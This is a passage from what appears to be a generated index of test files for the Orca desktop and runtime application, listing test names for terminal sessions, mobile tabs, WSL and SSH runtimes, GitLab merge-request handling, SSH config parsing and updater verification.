worktree removal through the selected WSL project runtime; force-deletes a branch that was preserved by runtime worktree removal. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts: records GitLab pasted-project recents only after successful runtime lookup; threads explicit origin preference through runtime WSL PR base resolution; resolves local GitLab fork MR bases from the target project MR head ref; captures the fork MR head from a dedicated ref, not the shared FETCH_HEAD; keeps the durable MR head when the head fetch fails but the local ref resolves; routes runtime GitLab fork MR base git calls through the selected WSL project runtime. src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts: passes SSH connection ids through GitLab task operations; routes runtime GitLab issue, MR, work-item, and todo actions through the selected WSL project runtime; routes runtime GitLab MR details, review-management, job, and pasted URL actions through the selected WSL project runtime; normalizes runtime GitLab issue list arguments like the desktop IPC path. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts: does not warn when setup is explicitly skipped for CLI-created worktrees; puts the agent a create starts in the first default tab, as the window does; keeps the 8s main-runtime startup readiness budget for agents without an override; gives OpenCode the 20s main-runtime startup readiness budget; launches explicit startup agents with prompts for CLI-created worktrees. src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts: returns a setup launch payload for CLI-created worktrees when hooks are explicitly enabled; does not hand the window a setup main never tried to start; passes the selected Windows setup shell into runtime runner generation; follows normal setup policy for CLI-created worktrees without activating them; uses returned WSL setup shell metadata when runtime spawns setup; uses the shell-aware setup runner for windowless creates without a startup command; reports the in-process setup hook as running when nothing can launch the runner. src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts: coalesces two clients sleeping the same host worktree; stops exactly the expected live PTYs for a worktree; explains a refused workspace close instead of throwing the raw refusal enum. src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts: marks the desktop-active worktree as isActive; includes SSH-backed worktrees in the mobile worktree summary; caches repeated malformed path misses before normalizing them again. src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts: keeps title-only foreground work ahead of monitoring in another pane; keeps a local hook row while a connected PTY still backs its pane; keeps an OSC row via its connected PTY after the pane binding is cleared. src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts: resolves files through a source-visible linked-checkout worktree; marks saved session tabs with live PTYs as host sidebar activity; attributes live legacy PTYs from saved layout bindings when their panes are hidden; marks saved browser tabs as host sidebar activity like desktop; falls back to the path-keyed GitHub cache entry; includes folder workspaces in compact worktree summaries for mobile; attaches inline agent rows from the latest OSC 9999 status; projects monitoring over a title-derived working status. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts: pushes to an idle pane when the only live waiter filters out the message type; resolves a registered waiter without PTY-injecting when the leaf is already idle; keeps already-idle status after tui-idle wait for immediate message delivery; resolves message waiters when notifyMessageArrived is called; does not resolve type-filtered message waiters for unrelated message types; removes message waiter abort listeners after message arrival; resolves message waiters on timeout when no message arrives. src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts: delivers pending mail via notifyMessageArrived when the recipient is already idle; does not keep retrying when every pending row was already pointed; repoints pending rows restored with a live-idle coordinator. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts: rolls back a half-created terminal whose surface never publishes. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts: rejects startup prompts for agents that require post-ready stdin; uses portable Unix quoting for mobile agent launch commands in WSL project runtimes; keeps PowerShell quoting for mobile agent launch commands in Windows host runtimes; uses cmd.exe quoting for mobile agent launch commands in local Windows host runtimes; publishes headless mobile session agent identity with synthesized PTY status; rejects disabled mobile session agent launches before spawning; validates mobile terminal insertion anchors before resolving agent launch commands. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts: coalesces a reconnect close burst onto one authoritative PTY inventory; keeps an explicit user close destructive while the PTY is live; builds mobile session agent launch commands on the runtime host; injects mobile quick-command prompts into the host-built agent startup command. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts: closes persisted headless terminal parents before any prior list call; tears down a serve-owned headless tab on close while a renderer is attached so it cannot resurrect; defers a renderer-published pending tab to the renderer instead of tearing it down; returns a delegated close outcome with no selection tombstone when the renderer owns the outcome; tears down a runtime pending shell the renderer never adopted on close. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts: materializes a plain shell when the pending tab has no launch agent; hydrates legacy persisted terminal tabs without layout entries; reads and indexes the full agent-status snapshot once per mobile projection; kills persisted SSH PTYs when closing hydrated headless tabs before pane metadata is restored; materializes hydrated pending headless terminals with the persisted session identity. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts: hydrates a persisted SSH-owned pane before an attached renderer publishes its graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts: publishes the desktop's tab name over the live agent title, and the live title without one; uses fresh neutral PTY titles over stale mobile snapshot and OSC titles; operates PTY-backed mobile session terminals without a renderer graph; reuses pane close for live PTYs that do not own a renderer tab; lists PTY-backed mobile session terminals without a renderer graph; shows and resolves active PTY-backed mobile session terminals without a renderer graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts: creates mobile session terminals for folder workspaces in a headless runtime server; spawns fresh headless SSH mobile session terminals instead of reattaching synthetic local ids; hydrates headless mobile session terminals from the host workspace session; keeps live headless mobile session terminals when a desktop renderer publishes without them; publishes laptop-created remote runtime split terminals to phone session tabs. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts: does not report headless wake degradation without sleeping records; does not wake slept agents for non-mobile session-only activation; does not rewrite unread metadata when a mobile activation finds the worktree already read; returns unread:false from worktree.ps after a mobile activation clears the flag; materializes pending mobile session terminals without focusing desktop clients; closes browser mobile session tabs when addressed by browser workspace id. src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts: resolves mobile terminal surfaces by exact split leaf; closes the matching mobile terminal UUID leaf without closing the whole tab; closes the whole mobile terminal tab when addressed by parent tab id; activates the active split leaf when addressed by parent tab id; clears unread metadata on mobile worktree activation without focusing desktop clients; wakes slept agents on the host renderer when a phone activates a worktree. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts: publishes the hook provider session on a headless mobile tab so native chat can address the transcript; recovers the agent type from the hook row when the pane was launched without an agent hint; reads one agent-status snapshot per projection, not one per terminal tab; waits for unknown-launch foreground owner before publishing Pi-compatible mobile status; keeps Pi-compatible mobile session status as Pi for an unknown-launch foreground pi PTY; keeps renderer-vetted mobile agent status for custom-titled terminals. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts: publishes terminal surface agent status for paired web clients; preserves authoritative OMP identity for Pi-compatible remote terminal snapshots; normalizes a remote OMP title without republishing omitted launch identity; skips the foreground-process probe when the PTY launch agent is already known; probes the foreground process only on a status transition for unknown launch agents; passes the client signal and the slept-worktree refusal to the spawn. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts: does not use stale runtime-created PTY status when a neutral PTY title exists; recognizes runtime-created Codex PTY handles from the ready prompt; recognizes runtime-created Antigravity PTY handles from the ready prompt; recognizes live leaf Antigravity terminals from the ready prompt; recognizes a later Antigravity header with a prompt but no model line; keeps mobile terminal surfaces visible while their leaf handle is pending. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts: lets Claude agents management titles clear stale runtime-created title status; does not recognize live Claude agents panes from a Claude foreground process; does not let stale tab-level agent titles override current neutral pane titles; lists live terminals with fresh pane titles over stale tab titles; lets adopted neutral pane titles use non-shell foreground fallback; lets adopted neutral pane titles retry wrapper foregrounds until recognized; authorizes settled CLI prompts only after positive %s foreground identity; does not recognize arbitrary foreground TUIs as running agents; lets live neutral pane titles retry wrapper foregrounds until recognized; lets current Claude agents PTY titles override stale runtime-created OSC titles; does not let stale Claude agents OSC titles suppress current PTY title activity. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts: keeps preallocated terminal handles valid across renderer reloads; preserves runtime-created PTY process identity after graph unavailable; keeps prompt bindings fenced across runtime restarts without provider incarnation; recognizes runtime-created PTY handles with agent launch titles; does not treat a bare Cursor Agent native title as a running agent session; uses stale runtime-created PTY status when there is no title or foreground evidence. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts: keeps orphaned list and show writability aligned with the send gate. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts: cancels a coalesced SSH worker recovery retry when its provider disconnects. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts: retries renderer reveal before clearing an adopted legacy worker sleeping record. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts: recovers exported ORCA_TERMINAL_HANDLE from discovered live PTY sessions. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts: applies ANSI erase-from-start line controls in retained previews; applies ANSI stripping for private or intermediate CSI line controls; applies ANSI stripping for unsupported erase-line modes; reveals an agent terminal under the pane the caller reserved; keeps a fresh %s pane host-owned when a desktop window is available; keeps desktop publication %s separate from the reserved host spawn; mints its own pane when the reserved leaf is malformed, and reports the one it used; starts an agent terminal with the model the caller picked; starts an agent terminal without a model flag when no pick was made; attributes a startup-agent launch named %s as %s; attributes a fresh agent session the host builds as unknown; leaves a bare agent command the user typed out of launch attribution. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts: trims oversized terminal output bursts without per-line array shifts; builds terminal previews without mapping the full retained tail; keeps recent PTY replay output capped without needing previous data for large chunks; applies terminal redraw controls before retaining previews; applies ANSI terminal redraw controls before retaining previews; retains multi-line ANSI footer redraws instead of appending old frames; keeps the cursor column when erasing full lines in multi-line redraws; applies ANSI split redraw controls without leaking raw params. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts: returns renderer visible screen lines through terminal.read RPC JSON result; separates composer drafts from provider-owned terminal screens. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts: reports an in-flight PTY focus as not navigated when its notifier disappears; reports graph-leaf focus as not navigated without a host notifier; grounds the provider mode tracker before a later chunk, in the emulator order; grounds an in-flight provider snapshot capture so it cannot publish the pre-reset screen; waits for terminal exit and resolves with the exit status; keeps terminal read payloads bounded while retained output remains pageable; trims terminal read preview character budget without per-line array shifts. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts: submits a silent Claude composer once after the bounded render fallback; chunks large terminal.send text before provider writes; yields chunked terminal input through immediates between writes; yields while validating accepted large terminal.send text before provider writes; reveals a background terminal session when focusing its handle; replays captured launch config when focusing a background agent session; reveals background terminal sessions with the freshest PTY title; renames background terminal handles without requiring a visible tab; keeps a background terminal handle stable while reveal adoption is racing. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts: resolves tui-idle when a stale Codex prompt is followed by Antigravity readiness; returns an agent-neutral blocked wait result for update prompts; returns an agent-neutral blocked wait result for workspace trust prompts; returns an agent-neutral blocked wait result for cwd selection prompts; returns a blocked wait result for Codex model migration prompts; returns a blocked wait result for Codex startup hook review prompts; returns an agent-neutral blocked wait result for generic interactive prompts; splits text and enter writes for background terminal handles; types the lead line for %s: %s; submits through the agent-specific PTY timing policy for %s. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts: waits for exit on background terminal handles; keeps retained PTY transcript memory when controller refresh fails; resolves tui-idle from an Antigravity ready prompt preview; resolves Antigravity ready prompts with newline-heavy pasted tails without splitting; resolves live-leaf tui-idle from an Antigravity ready prompt preview. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts: spawns the available Qoder command for a captured same-session resume: %s; does not use the local Windows shell setting for remote Windows bare agent creates; matches canonical bare agent commands when a command override is configured; keeps non-bare agent command terminal creates unchanged; keeps disabled bare agent command terminal creates unchanged; injects runtime hook receiver env into terminal sessions; creates background terminal sessions for a $label; creates background terminal sessions for a $label; enables Claude Agent Teams only for direct Claude launches when configured in-process; reveals Claude Agent Teams launches with the rewritten launch config; preserves Claude Agent Teams for sequenced Claude launches. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts: creates visible terminal sessions without asking the renderer to focus a tab; asks the pty controller for the requested shell instead of a startup command; knows the agent a flagged launch command names before any process read; retires a flagged command pane identity when the command exits; retires only receipted restored PTY authority on command completion and exit; forgets synthetic handles when disconnected PTY records are pruned. src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts: returns OSC titles from headless main terminal snapshots; adopts renderer-seeded titles into headless main terminal snapshots; returns cwd metadata from seeded headless main terminal snapshots; adopts OSC7 host metadata from seeded headless terminal scrollback; falls back to the renderer snapshot for hidden-output recovery without headless state; keeps an empty headless snapshot authoritative for hidden-output recovery; advances the absolute output sequence across a daemon stream gap; emits explicit OSC 9999 agent status from runtime PTY data. src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts: falls back to the provider snapshot for a restored PTY with no mounted renderer; falls back to the available mirror when authoritative provider history is unavailable; keeps an empty renderer snapshot when the provider has no retained content; keeps restored provider history authoritative after later live output; uses provider alternate-screen state while a partial model is unsafe; prefers the tracked title over the headless emulator lastTitle; keeps the cursor-agent literal in record-fallback snapshots only without a tracker title; touches mobile snapshots once for decorative spinner ticks, again on idle. src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts: creates a same-repo PR branch override from a resolved head SHA and matching push target; skips broad remote fetch for an existing full-SHA PR base; creates a selected Bitbucket PR branch override from a matching remote branch; suffixes an existing PR when a matching push target lacks selected PR metadata; suffixes a matching push target branch when selected PR metadata has no PR number; suffixes a matching push target branch when the existing PR is different; suffixes a selected PR remote conflict when the PR lookup fails; checks out an unused runtime PR branch only when it is at the resolved head SHA; suffixes only the runtime worktree path when an exact PR branch checkout path exists. src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts: returns runtime local base update suggestions from addWorktree; creates a runtime local worktree from a usable persisted local branch base; does not create a runtime local worktree when the refresh fails and no local base ref exists; creates a branchNameOverride worktree from the selected matching remote base ref. src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts: continues skill management after startup recovery fails. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts: uses bounded ownership lookup for direct arrivals while the agent cannot take input; wakes a bound Run waiter when same-Run direct mail arrives; keeps an unowned detached-recipient message in its direct mailbox; uses primary-key lookups for bounded routing updates. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts: remove only literal registration import/call pairs import './orchestration-mailbox-pointer-cli-command.spec'; no additional authored credit. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts: renders the %s CLI command in a mailbox pointer. src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts: sizes a slow high-latency link near twice its bandwidth-delay product; never paces a LAN, even when its client parses slowly; never paces a fast link; returns to legacy windows when the path RTT jumps. src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts: steps down the row ladder when history is over the byte budget; tries the larger first row count, then the usual ladder within the same byte budget. src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts: returns unknown when route inspection fails or emits malformed data; does not inspect routes outside Windows. src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts: is refused to a paired %s client; reports a failed widening instead of advertising an unreachable address. src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts: reports exited only when the owning runtime completes the exit waiter; reports unverifiable when the runtime cannot observe the exit waiter; reports unverifiable when a disconnected PTY resolves with unknown liveness. src/main/runtime/session-graph/headless-runtime-graph.spec.ts: lets a session tab inventory settle on a host no renderer publishes for. src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts: remove only literal registration import/call pairs import { registerHeadlessRuntimeGraphTests } from './headless-runtime-graph.spec', registerHeadlessRuntimeGraphTests(); no additional authored credit. src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts: bumps the stored snapshot version only when the title changes. src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts: keeps the healthy aggregate verification and delayed physical exit behavior; uses a stamped exit for the incarnation that was actually being closed. src/main/runtime/terminal/identity/terminal-identity-probe.test.ts: answers live for a structured worker without touching the PTY graph; answers live for a PTY handle the runtime still holds; runs the full leaf check for a handle with no live PTY; answers not-live for a stale handle; propagates \"could not look\" rather than reporting it as a dead handle. src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts: names the tab in main’s layout through terminal.rename; takes a window-style layout.apply close as already stopped, so the terminal runs on. src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts: retains no lifecycle generation after a spawn/exit cycle. src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts: reads a freshly spawned terminal as used once a user opens its tab, not on a probe; keeps the open mark on the process a user open starts. src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts: from a desktop window that mounts both panes; from a server with no window. src/main/runtime/terminal/surface/workspace-layout-projection.test.ts: carries views for a partition that holds none yet. src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts: releases a signalled exit-waiter when the signal aborts. src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts: selects a local hook status for a local pane. src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts: keeps the footer and the bare caret on screen mid-turn; %s: the screen alone reads ready during %s. src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts: uses per-launch arguments and preserves launch telemetry; attributes a startup agent whose caller named no surface as unknown; launches %s bare for an absent or blank prompt; attributes a %s draft launch named %s as %s; merges an automation's extras over the host defaults; threads worktree-create extras into the startup build; returns an enabled requested agent without detecting; returns the default when nothing was requested; detects instead of using the default when the requested agent is disabled; starts no agent when the default is blank; detects an enabled agent on this host when nothing usable was named; starts no agent when detection finds none. src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts: pastes and submits through composer readiness, never typing raw input; types the follow-up on WSL or SSH-to-Windows once the agent is in front, as before; cleans up the deadline when the composer was already captured; a draft that is not submitted is pasted on the box cursor, as before; takes the box after the grace when the row never comes, whatever repaints; takes the box at the deadline when the grace would outlast the budget; lets a dialog on screen veto a grace; refuses the deadline inside a pending grace while a shell is in front; takes the box at the deadline inside a pending grace with the agent in front; takes the box at the deadline after a refused grace once the agent is in front. src/main/skills/skill-install-transaction.test.ts: installs, previews unchanged bytes, and updates a clean receipt-owned skill; preserves the old version after a %s filesystem failure. src/main/speech/model-manager-download-resume.test.ts: requests the remaining bytes when a clean range response ends before the file total; bounds a server that advances by pathologically tiny segments forever. src/main/ssh/config/ssh-config-parser.test.ts: parses a basic host block; parses multiple host blocks; skips wildcard-only Host entries; skips Host entries with only pattern characters; parses IdentityFile with ~ expansion; parses Windows-style IdentityFile with ~ expansion; parses quoted scalar values like OpenSSH; parses equals-form scalar directives; parses IdentityAgent with ~ expansion; parses IdentitiesOnly; parses GSSAPIAuthentication; keeps the first GSSAPIAuthentication value like OpenSSH; parses ProxyCommand, ProxyUseFdpass, and ProxyJump; ignores comments and blank lines; handles case-insensitive keywords; stops current block on Match directive; returns empty array for empty input; creates one parsed host per concrete alias on a multi-pattern Host line; applies identity agent settings to every concrete alias on a multi-pattern Host line; defaults port to 22 for invalid port values; converts hosts to SshTarget objects; uses host alias as hostname when HostName is missing; skips hosts that are already imported; defaults username to empty string when not specified; carries through identityFile, identityAgent, identitiesOnly, proxyCommand, and jumpHost; carries through gssapiAuthentication; imports duplicate aliases only once and keeps the first concrete host; maps hosts for the picker and flags aliases already in Orca; de-dupes aliases and defaults missing fields; parses hostname, user, port from ssh -G output; collects multiple identity files; parses forwardagent yes; defaults port to 22 when missing; returns empty hostname when missing; returns undefined user when missing; handles empty output; skips lines without spaces; parses proxycommand and filters \"none\"; parses proxyusefdpass yes; parses proxyjump and filters \"none\"; handles ~ expansion in identity file paths; handles Windows-style ~ expansion in identity file paths; parses identityagent with ~ expansion; preserves identityagent none so auth can disable agent fallback; parses identitiesonly yes; parses gssapiauthentication; parses controlmaster options and filters controlpath none. src/main/ssh/config/ssh-known-hosts-source.test.ts: splits the space-separated list ssh -G prints on one line; expands ~ in a reported path; keeps a double-quoted path containing spaces whole; falls back to the default files when ssh -G reported nothing; drops an explicit none without falling back to the defaults; splits both known_hosts lists on one line each; reads StrictHostKeyChecking, including accept-new; reads HostKeyAlias and prefers it for the lookup; reads the non-default port; reports that the lookup came from an alias, so the port is not appended; reports no alias when the dialed host is used; unions the entries of every file; skips a path that is a directory; returns nothing when no file can be read; reports nothing unreadable when every file parses; does not count an empty file as unreadable; prefers HostKeyAlias over the resolved hostname; uses the dialed host, because a resolved hostname can just echo the label; still prefers an explicit HostKeyAlias over the dialed host; falls back to the dialed host when nothing was resolved; is rejoined when the split fragments resolve to nothing; leaves a single unresolvable path alone rather than inventing one; expands the __PROGRAMDATA__ token rather than passing it through as a path; does not rewrite a path that merely BEGINS with the token characters; keeps a drive-letter path with mixed separators intact; splits a spaced Windows home into the fragments the rejoin has to put back. src/main/ssh/config/ssh-known-hosts.test.ts: reads the algorithm from the blob rather than trusting the line; rejects %s; refuses a malformed blob: %s; uses the bare host on the default port; tries the bracketed form first and falls back to bare off-port; matches an exact line; matches case-insensitively; reports a changed key of the same type; reports unknown for %s; matches any host in a comma list; matches the bracketed form on its port; does not apply a bracketed entry to the default port; falls back to a bare line when off-port; never reports a change from the fallback pass; matches a bare literal on the default port; matches a bracketed literal on its port; reports a change for a literal; handles %s; still reports a change for a different key on a revoked host; skips a line carrying an unrecognised marker; does not report a change when only another key type is on file; matches within the same type; accepts CRLF terminators; skips blanks, comments and surrounding whitespace; accepts a hit regardless of which file holds it (%s); never brackets the alias, whatever the port; still brackets an ordinary host on a non-default port; matches a bare alias entry on a non-default port; still accepts the unmodified key field; accepts a hashed entry whose salt is a full SHA1 digest; still accepts the unmutated ssh-keygen -H vector; falls back to the bare host line on a non-default port, as ssh did; refuses a key type it has not seen for a host it knows, as ssh did. src/main/ssh/connection/ssh-connect-config.test.ts: returns undefined when no default keys exist; returns the first existing key file; probes regular and FIDO2 keys in stable default order; keeps a regular default ahead of a malformed FIDO2 default; uses target host/port/username; falls back to resolved config when target fields are empty; keeps imported endpoint fields as the fallback when ssh -G is unavailable; sets readyTimeout to CONNECT_TIMEOUT_MS; sets keepaliveInterval to 15s; enables keyboard-interactive auth so MFA challenges can be answered; uses agent auth when no explicit key and SSH_AUTH_SOCK is set; enables agent forwarding when OpenSSH config requests it and an agent is available; does not enable agent forwarding without a usable agent; resolves IdentityAgent SSH_AUTH_SOCK from the environment; uses the Windows OpenSSH agent pipe when no environment socket is available on Windows; wraps agent auth with IdentityFile filtering when IdentitiesOnly is enabled; applies a manual target IdentitiesOnly setting when ssh -G reports it off; includes unencrypted target.identityFile auth when an agent is available; defers encrypted target.identityFile auth when an agent is available; uses keyFile auth when target.identityFile is set and no agent is available; includes unencrypted resolved identityFile auth when an agent is available; defers a default-path resolved identityFile to the no-agent retry; offers the keyboard-interactive challenge when the agent defers no key; provides fallback key when no agent is available; can force private key inclusion for the post-agent fallback path; falls back to resolved proxyCommand; returns structured jump-host config for target.jumpHost; returns structured jump-host config for resolved proxyJump; returns undefined when no proxy is configured. src/main/ssh/connection/ssh-connection-auth-fallback.test.ts: resolves OpenSSH config using configHost when present; tries ssh-agent before reading an explicit private key; falls back to direct private key auth when agent auth fails; falls back to direct private key auth after too many agent authentication failures; answers bounded keyboard-interactive challenges such as Duo 2FA. src/main/ssh/connection/ssh-connection-store.test.ts: lists picker suppression aliases without consulting re-adoption tombstones; getTarget delegates to store; addTarget generates an id and persists; saves the CLI control switch as given, with no consent stamp; addTarget stamps source as manual by default; addTarget preserves an explicitly provided source; inserts a new config host stamped as ssh-config; asks the parser for all hosts — reconciliation happens in the store; updates an existing config-sourced target when the port changed; refreshes gssapiAuthentication on sync; never overwrites a manual target that owns the alias; does not rewrite an unchanged config-sourced target; returns empty array when nothing changed; tombstones a deleted config-sourced host so re-import skips it; suppresses a deleted manual target from config discovery; re-adding a deleted host reclaims its alias so sync stops suppressing it; editing a target reclaims its alias from the deleted set; records a tombstone when removing any user-facing target; re-adopts orphaned repos when the same host is re-added. src/main/ssh/connection/ssh-connection.test.ts: transitions to connected on successful connect; captures the negotiated SSH server key fingerprint; allows concurrent exec commands for ssh2 transport; removes startup listeners after ssh2 connect succeeds; scopes lifecycle events and pending handshake timers to one mock client; enables TCP_NODELAY on the new ssh2 client after a reconnect cycle; transitions through connecting → connected states; reports error state on connection failure; disconnect cleans up and sets state to disconnected; getTarget returns a copy of the target; getState returns a copy of the state; throws when connecting a disposed connection. src/main/ssh/orcad-migration-stuck-host-profiles.test.ts: never leaves a running terminal behind; is offered only when leaving saved state behind would clear the refusal. src/main/ssh/orcad-runtime-maintenance.test.ts: keeps a connect from retrying a build an explicit Update also failed; offers Force when Update was refused by policy; forwards anew after an activation, since the new slot may bind another port; passes a refusal through and leaves the server linked; forwards anew once a serving slot is restored, which may have bound another port. src/main/ssh/port-forwarding/ssh-port-forward.test.ts: reports the port the OS bound when an ssh2 forward asks for port 0; adds an ssh2 port forward and returns entry; adds a system SSH port forward when no ssh2 client is available; reports the port a system SSH forward resolved when asked for port 0; passes resolved OpenSSH config to system SSH port forwards; disposes a system SSH tunnel when removing the forward; lists forwards filtered by connectionId; removes a forward by id; awaits forward close when removing a forward for user actions; returns null when removing nonexistent forward; removes all forwards for a connection; dispose removes all forwards; stores label in the entry; preserves the existing id when updating a forward succeeds. src/main/ssh/system-transport/system-ssh-forward-process.test.ts: spawns exactly the argv the orphan matcher is given, LogLevel=INFO included; runs port forwards unmultiplexed even when ssh_config disables muxing; preserves manual target port and identity options in the forwarded ssh command; does not spawn ssh when the requested local forward port is already in use; spawns ssh after the requested local forward port preflight succeeds; resolves startup after the grace period when ssh keeps running; sends SIGTERM then SIGKILL when the process does not exit; does not resolve stop until the process exits. src/main/ssh/system-transport/system-ssh-loopback-route.test.ts: dials the held forward ahead of the alias so OpenSSH keeps these over ssh_config; drops a manual target's own port and proxies, which would fight the route; never routes a forward, whose argv must stay stable for orphan recovery; %s → %s; opens the forward over the real proxy, then proves a login over the route; lands the forward on the sshd and known_hosts name the direct route resolved; holds the forward with server-alive probes; never lets the background forward or probe ask for credentials; starts no forward when admission refuses the route; stops the forward when sshd refuses logins over it; stops the whole forward process tree on Windows, once; reports a forward that already exited before anyone listened for it. src/main/startup/browser-process-user-agent-ordering.test.ts: explains admission refusal before a desktop launch exits; explains an orcad holding the profile instead of exiting silently; does not acquire profile admission for a duplicate launch; executes after the dev app name and before later preflight work; exits and releases admission after pending profile move recovery fails; keeps Linux background startup failures console-only and immediate; keeps Linux serve startup failures console-only and immediate. src/main/startup/quit/quit-path-durable-write-blocking.test.ts: store.flushAsync() issues no synchronous fs syscalls; store.flushAsync() also moves the active-view and github-cache sidecars off the thread; stats.flushAsync() issues no synchronous fs syscalls; Grok session cleanup issues no synchronous fs syscalls; stats.flushAsync() closes out live agents before it returns, not when its write lands; a stalled mount leaves the event loop live instead of parking it; store.flushAsync() is one idempotent final barrier; store.flushAsync() resolves instead of throwing when the profile mount rejects writes. src/main/stats/agent-session-transition-recorder.test.ts: counts a hook-only agent that never writes an agent-shaped terminal title; never opens a session from a replayed or disk-restored working status; still closes a live session when the terminating status arrives as a replay; counts one session per turn across repeated working/done cycles; closes an open session when its pane is torn down; bounds the mirror and closes what it evicts; stops the session when the main agent settles and only a watch loop holds the row working; keeps the session open while a subagent outlives the main agent, and closes it when the child settles; dates the stop by the evidence when a shell outlives the last subagent; opens a new session dated by the observation when the main agent resumes after monitoring; never dates a reopen before the close a fact-less OSC repaint caused; dates the first live row after a restored one by the evidence, not the restored clock; treats an unchanged answer as a snapshot, never a transition; opens only on a live working edge; closes only a session it opened. src/main/text-generation/commit-message-text-generation-model-discovery.test.ts: returns static catalog models without spawning for static agents; discovers dynamic models through the agent CLI; discovers dynamic models through the configured agent command override; falls back to static models when dynamic discovery returns no parseable models; falls back to the first discovered non-Pi model when its static default is unavailable. src/main/text-generation/pull-request-context.test.ts: does not fetch unrelated fork remotes before generating PR context; bounds exact remote-ref probe concurrency for a large remote list; reports no branch change because PR context preparation is read-only; keeps a remote-qualified base when the selected base includes the remote. src/main/text-generation/source-control-local-process.test.ts: asks the supervisor to stop and leaves its group to it; signals nothing once the supervisor has exited; stops an agent that ignores its stdin end through its supervisor. src/main/updater/linux-package/linux-package-update-recovery.test.ts: retains the downloaded package with the digest from the event metadata; requires a string downloaded path; accepts an uppercase extension; requires a non-empty string version; matches an absolute file URL by basename; accepts duplicate entries that agree on the digest; refuses an entry with a missing or non-string digest; refuses a digest that is not base64 at all; refuses a malformed percent-encoded URL; refuses a missing or non-array file list; tolerates a non-object event; replaces the retained artifact with a newer download; keeps the retained artifact when a new download has no usable digest; keeps the retained artifact when an unrelated download event arrives; clears the retained artifact; preserves the artifact across a recheck of the same version; clears the artifact when another version takes over; preserves the artifact for an unknown or empty version; is a no-op without a retained artifact; returns the built command and package file name for a verified package; reports missing without a retained artifact; propagates a package-manager discovery failure; rejects a well-formed digest that belongs to another file; never hashes a package that a malformed digest failed to arm; rejects a path outside the cache root; rejects the cache root itself; rejects a package in the updater directory itself; rejects a pending directory that is a symlink out of the cache; performs one hash pass for concurrent requests; revalidates once the in-flight pass settles; does not reuse an in-flight pass for a different artifact; starts a fresh proof when the same package is captured again; returns the verified package path; returns missing without a retained artifact. src/main/updater/releases/updater-prerelease-feed-readiness.test.ts: accepts a GitHub %s asset redirect as ready; reports a GitHub asset request error as unavailable; reports not-ready with a verified last-good tag when the newest assets are unavailable; does not 